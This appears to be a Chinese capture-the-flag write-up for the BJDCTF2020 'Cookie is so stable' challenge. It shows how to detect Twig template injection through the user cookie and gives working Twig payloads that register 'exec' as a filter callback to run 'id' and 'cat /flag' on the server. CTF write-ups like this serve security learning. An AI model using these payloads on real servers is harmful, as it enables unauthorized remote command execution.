当前位置: 首页 > news >正文

模板注入 [BJDCTF2020]Cookie is so stable1

打开题目

有flag页面,有Hint页面

这里题目有提示,突破口是在cookie上面

经过测试发现有ssti注入:

抓包

 

判断模板注入类型的办法

输入

{{7*‘7’}}

回显49

输入{{7*‘7’}},返回49表示是 Twig 模块

输入{{7*‘7’}},返回7777777表示是 Jinja2 模块

所以判断是Twig

这里在cookie处进行判断

user={{7*‘7’}},查看返回值

这个模板注入是Twig注入

这里注意要在PHPSESSID后user前加上;分隔开

由于是Twig注入,所以是有固定的payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

在cookie输入

构造获取flag的payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

得到flag

 

http://www.lryc.cn/news/304616.html

相关文章:

  • 2-18算法习题总结
  • 【软考高项】【英语知识】-- 单词积累
  • 外包干了3个月,技术退步明显
  • 【ArcGIS微课1000例】0105:三维模型转体模型(导入sketchup转多面体为例)
  • 创建型设计模式 - 原型设计模式 - JAVA
  • Squid代理:APT、PyPI和Docker的内网穿透解决方案
  • MYSQL--触发器
  • onnx 1.16 doc学习笔记四:python API-If和Scan
  • 如何构建企业专属GPT
  • 知识积累(二):损失函数正则化与权重衰减
  • 消息中间件-面试题
  • Python 将二维数组或矩阵变为三维
  • 区块链与Solidity详细介绍及基本语法使用
  • 题目 1253: 老王赛马
  • 【MATLAB源码-第144期】基于matlab的蝴蝶优化算法(BOA)无人机三维路径规划,输出做短路径图和适应度曲线。
  • 地下管线管网三维建模工具MagicPipe3D V3.4.2发布
  • 糖尿病性视网膜病变(DR)的自动化检测和分期
  • C 标准库 - <errno.h>
  • 基于springboot+vue的房屋租赁管理系统(前后端分离)
  • Sora----打破虚实之间的最后一根枷锁----这扇门的背后是人类文明的晟阳还是最后的余晖
  • C语言之static关键字详解
  • Redis高性能原理
  • MSS与cwnd的关系,rwnd又是什么?
  • 解决两个MySQL5.7报错
  • [OpenAI]继ChatGPT后发布的Sora模型原理与体验通道
  • 机器人初识 —— 电机传动系统
  • 安卓游戏开发之音频技术优劣分析
  • 在C语言中,设置Linux系统时间
  • golang k8s包管理工具
  • 数字信号处理:傅里叶分析